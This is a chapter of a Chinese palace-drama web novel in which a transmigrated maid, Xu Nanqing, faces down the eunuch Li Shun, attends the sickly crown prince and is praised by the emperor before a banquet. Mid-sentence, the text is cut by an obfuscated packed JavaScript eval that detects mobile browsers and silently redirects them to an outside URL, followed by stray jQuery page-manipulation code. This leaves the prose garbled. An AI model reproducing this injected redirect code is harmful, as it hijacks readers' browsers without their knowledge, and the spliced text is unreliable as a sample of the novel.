许南清琢磨着时辰,一时没动。
寒山月让她辰时一刻去,李顺辰时二刻方叫她起来给烈风喂食,还在喂食后才娓娓道来,不是明摆着让她超时吗?
果真老板身边的大管事得罪不起,拖着不传老板旨意,就够她喝上一壶。
李公公见她不动,有些急。
“许姑娘愣着作甚?再不去,殿下该怪罪了。”
许南清想着自己中了毒,能不能活下去都靠寒山月的怜悯,分明已是将死之人,居然还要受李顺的气,霎时起了“我不得好死,你也别想活”的心思。
光脚的不怕穿鞋的,她“啪叽”一声坐到地上,手呼噜烈风皮毛。
“总归是迟了,迟一刻或迟两刻,又有什么区别?殿下都少不了要责罚。反倒是有一事,奴婢想先向李公公讨教。”
“姑娘要向咱家讨教,咱家怎会介意。”
李顺三句话不离让许南清过主殿,“只是殿下传姑娘过去,姑娘若光顾着同咱家讨教,而不动身,误的是姑娘的时间。”
“看来殿下传我过去,李公公一直记得很清楚,那既然此事如此要紧,李公公为何不早说呢?”
许南清语速不慢不快,眼底也清澈,好似同讲师请教问题的学徒。
两人一席地而坐,一沉稳站立,光眼神接触,谁也不再出声,唯有烈风吃饱喝足,围着许南清腿直打滚。
秋风萧瑟,寒意席卷空旷偏殿,可偏偏他们这一隅,僵硬如狂风也吹不动的死水。
终究是李顺这老狐狸先一步吭声。
“瞧你这话说的,好似咱家是什么十恶不赦之人,许姑娘,此事咱家确有不妥之处,咱家给你赔个不是。
“这般,许姑娘是否可动身去主殿了?”
许南清手仍摸着烈风脑袋,没有要从地上起来的意思。
“歉不必同我道,公公同殿下道便是。”
李顺若非顾及男女大防,不好与许南清这太子贴身宫女肢体接触,都恨不得伸手拽许南清起来。
他对她的软硬不吃很是无奈。
“许姑娘乃性情中人,咱家佩服。”
许南清闷不应声。
谈何“佩服”?她无非是个给自己争取正当权益的打工人。
不蒸馒头争口气,在职场被小领导在大领导面前,给她穿小鞋,往常她会选择忍耐,可今时不同往日,她都要死了,还不能给自己讨个公道么?
李顺到底是个人精,见识过许南清这倔脾气,硬的不行来软的。
“许姑娘,咱家呢,是过来人,许姑娘想过得好些,大可不必与殿下将关系闹得这般僵,叫别人看笑话,咱家是个讲理的,可东宫里头,哪儿有那么多咱家这般讲理之人?
“逆着殿下,不若顺着殿下,要不之后,许姑娘还有的受。”
许南清人虽然倔,但还是明白“见好就收”这不必得理不饶人的道理。
她翻身起来,与烈风挥手作别。
“谢公公指点。”
正殿。
许南清在屋外候着,静静吹着深秋冷风,往殿内一眺,发觉隐在帘后,身形不甚清晰的寒山月,情况比昨夜还差,像是一晚未歇。
他有一下没一下咳着,半柱香也不见停。
许南清在帘子外头跪着,等待传唤,她听得耳朵生了茧,甚至开始怀疑寒山月这咳嗽总不好,是不是得了肺痨。
李顺静静待到寒山月不咳再通报,又耽误了整整半柱香的时间。
“许姑娘,进来罢。”
许南清一回生二回熟,还未跨门槛进屋便先低头,盯着自己鞋尖,规规矩矩给昨个儿刚给自己下毒药的寒山月行礼。
寒山月随口应了声“免礼”,攥着锦帕的手背青筋浮现。
他挥手屏退李顺,没问许南清为何来迟,只是边咳嗽边拿起纸笔,给她写下一行字。
“这世上,真有鬼神魂魄之说?”
原身并不识字,许南清努力忽略繁体字的笔画,根据偏旁部首猜个一二,确认这句话不是在骂她,也没有很明显对她不利的意思,平静一知半解装不懂。
“殿下恕罪,奴婢并不识字。”
寒山月不愿让这件事被第三者知情,只得哑着嗓子,自己念了一遍。
许南清从他眼底乌青,与目光中透出的执着,料到他这么问,肯定与她昨晚编的“惠妃”脱不开干系。
人这种生物,总是以为自己很聪明。
往往忘了有个词,叫“关心则乱”。
“奴婢以为,此说法流传数千载,自有它的道理,宁可信其有,不可信其无①。”
寒山月沉默片刻,缓慢呼出一口气。
“那你昨夜,有见到她么?”
怎么可能,她睡老香了。
再者说,就算醒着也见不着,她可是坚定的唯物主义者,还一路从积极分子每个月写思想汇报,终成光荣党员了呢。
“回禀殿下,未曾。”
寒山月喃喃着“怪道如此,她怕生,又不爱走动,想必是不会再来了”,锦帕掩唇,又是一阵咳。
他一手撑着砚台,一手轻轻扯过挂在一旁的貂毛披风。
“随孤入宫,咳咳,带上那孔雀。”
许南清点头称“诺”。
不过是去皇宫溜达一圈,她倒是没问题,只是寒山月这咳嗽不止的小身板,再去外头吹风,还能撑得到半个月后给她解药么?
李顺显然比她更关心寒山月,直直追着寒山月到马车帘边。
“外头风大,殿下风寒未愈,三思啊!”
寒山月一摆手,让他住嘴。
忽地,金黄龙纹步辇于不远处出现,在明朗秋季日头下,兀自发着炫目的光,耀得叫人不敢直视。
许南清眯了下眼,只听温公公声音响起。
“陛下驾到——”
她原地下跪,随着众人给文和帝请安。
“参见陛下,陛下万福!”
“都起来吧,朕今日来……嗯?许南清?”
文和帝不知怎地,一眼捕捉到混在东宫人群中的许南清,径自踱步到她身前。
“你这会儿不是在百兽处照顾花孔雀么?怎会在东宫?”
许南清下意识要回答,想到长幼尊卑,在场的除了皇帝,就寒山月身份最高,自己身为他宫里的奴婢,不好越过他说话,遂将目光投向寒山月。
他正从轿子下来,闷闷咳着。
“你如实回答便是。”
许南清实话实说。
“回陛下的话,昨夜殿下亲至,将奴婢和孔雀一并领回了东宫。”
文和皇帝将目光投向寒山月。
“山月,你领许南清回东宫,朕没意见,可将孔雀也领去东宫,是怎么回事?这样不会加重它的水土不服症状么?”
寒山月不咸不淡拱手。
“儿臣正要向父王禀报,那孔雀的水土不服之症已被治好。”
“此话当真?快快领朕去瞧。”
见到孔雀生龙活虎,彻底将玄元当做大朔故土,自在吃粮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233191|165953||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
饮水,文和帝“啊”一下叹出声。
“不错,不错,许南清,你当真是巾帼不让须眉啊!”
他将双手背在腰际,高声赞扬。
“正巧大朔使臣今早方至皇宫,朕还打算后日晚间在御花园设宴,让温公公叫山月你来接客,看看如何搪塞他们,掩盖孔雀水土不服一事。
“谁知这许南清如此厉害,今日便治好了,这不巧了?宴会可移至今夜!许南清,你身为功臣,今夜宴会,可一定要来。”
许南清不觉得自己有什么不去的理由。
就算不以功臣的身份,也是要以寒山月贴身宫女的身份去。
“奴婢遵旨。”
“山月,让许南清在东宫任职,是否有些屈才?”文和帝忽地侧头问起寒山月。
寒山月颔首。
“父皇所言即是。”
文和帝如同与青春期孩子沟通的老父亲。
“是这样啊,父皇呢,打算让她去百兽处挂个职务,平时也可以回来东宫干活,你意下如何?”
寒山月嘴角多了抹冷笑。
“父皇既已决定,又何必问我?”
当事人许南清夹在中间,略感疑惑。
寒山月这话,怎么有股林妹妹“早知他来,我便不来了”的味道?
文和皇帝语气听着有些讨好。
“到底许南清是你的人,朕还是要问一下你的意见才好。”
寒山月恢复在文和帝跟前,面无表情的模样。
“父王哪一次决定,儿臣会不支持?”
文和帝欲言又止,终是缓缓叹气。
“你还在为你母妃的事,生朕的气吗?”
寒山月垂着头。
“儿臣不敢。”
“不敢”?
许南清忆起李顺说的,寒山月半清醒之际,把剑架在文和皇帝脖子上,一个劲往里戳,险些要了皇帝的命。
而她昨夜,拿着烛台凑近寒山月一喊,便叫寒山月恢复神志。
且寒山月清醒之前,也并未真正伤了烈风。
可见寒山月并非认不清人。
许南清合理怀疑,他那是在公报私仇。
文和帝拍寒山月肩膀。
“朕没忘了惠妃,今夜宴请完大朔使臣,咱父子俩,明日便动身去皇陵,好好看她,如何?”
寒山月瞳孔一缩,睫羽颤动。
“……父皇英明。”
许南清一晃眼,便从犬吠孔雀叫的偏殿,来到觥筹交错皇家的宴席上。
文武百官她一个都不识得,只好待在寒山月身后,给他添茶倒水,伺候他入座,旋即干站着等待寒山月传唤。
她闲得无聊,索性往好几处点上油灯,添了不少喜气的御花园到处瞧。
“贵妃到——”
贵妃?宫里只有一位贵妃,陈花容。
许南清忆起小红小绿贿赂小李公公那金元宝事件,以及贵妃赏赐下人那金元宝一事,她悄悄伸长脖子,打算好好瞧一瞧,之前仅远远见过一面的陈贵妃,究竟长什么样。
陈贵妃身着正红宫装,分明已一把年纪,她容颜仍保持得极好,连笑起来,脸上和眼尾也不见甚么皱纹。
近乎看不出来曾经生过个孩子。
她往文和帝问过安,随后冲寒山月笑。
“太子这些年,出落得越发芝兰玉树,要是叫你小妹瞧了,定是又要太子哥哥长,太子哥哥短地叫。”
陈贵妃笑得自然,好似寒山月母妃之死,与她毫不相干。